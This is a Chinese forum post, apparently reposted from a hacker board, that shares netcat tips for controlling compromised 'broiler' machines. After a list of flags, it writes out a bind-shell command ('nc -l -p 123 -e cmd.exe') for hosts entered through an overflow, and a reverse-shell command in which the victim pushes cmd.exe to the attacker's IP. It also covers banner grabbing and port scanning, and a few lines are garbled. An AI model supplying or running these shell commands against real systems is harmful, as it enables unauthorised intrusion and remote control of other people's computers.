注册
登录
| 关键词： 端口 nbsp 肉鸡 192.168 监听 命令 信息 就是 0.25 木马 |
那天有个朋友发了个帖子说可以用NC的某个命令来让肉鸡找上门 引起了我的一番兴趣，研究了好久，将心得拿出来与大家分享： NC被誉为黑客界的元老级工具，所以我认为所有想做黑客的人必须掌握他 参数解释： -e 程序重定向 -t 用telnet来回应 -l 监听本地端口 -p 指定本地端口 -v 获得端口信息 -vv 获得详细的端口信息 -z 关闭输入输出 -n 指定IP地址 -w 设定超时时间 -u UDP端口 我就知道这么些参数 了： 第一个: nc -l -v -p 7626 这就是打开本地的7626端口进行监听，并反馈连接信息这样如果有扫描冰河木马的人会认为你中了木马开放了7626，和“小猪快跑”的功能有点象，再加个批处理文件一起用的话就是一个“小猪快跑”了 如果要监视是否有入侵本地80端口的行为，并记下来，用这个命令： nc -l -p 80 >>c:\\日志.dat 这样，凡是有针对本机80端口的攻击都会被记录下来的 二、 如果你通过溢出进入了别人的机器，就可以运行： nc -l -p 123 -e cmd.exe 或者是: nc -l -p 123 -t 作用都是以cmd.exe来响应到机器上123端口的连接 这样就把溢出的主机变成了一台telnet肉鸡了啊 你也可一用命令让肉鸡主动连接你的主机,假设我的IP是192.168.0.1 在肉鸡上运行： nc -e cmd.exe 192.168.0.1 777 再在本地机器上运行： nc -l -p 777 意思是让肉鸡将cmd.exe(就是个shell)主动响应到你电脑的777端口 你再在本地机上监听777端口，这样就进入了对方的cmd了 这也微十时毫 反弹端口式木马的原理了。 三、 用这个命令： nc -v 192.168.0.25 80 就获得了192.168.0.25的80端口的信息 可以获得IIS版本等很多重要信息 的 四、 你也可以将NC作为扫描器使用： nc -v -z 192.168.0.25 1-100 扫描192.168.0.25的1到100间的TCP端口 用nc -v -z -u 192.168.0.25 1-100 这是扫描1到00间的UDP端口 这些就是我这几天悟出来的 大家还有心得什么没有啊 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
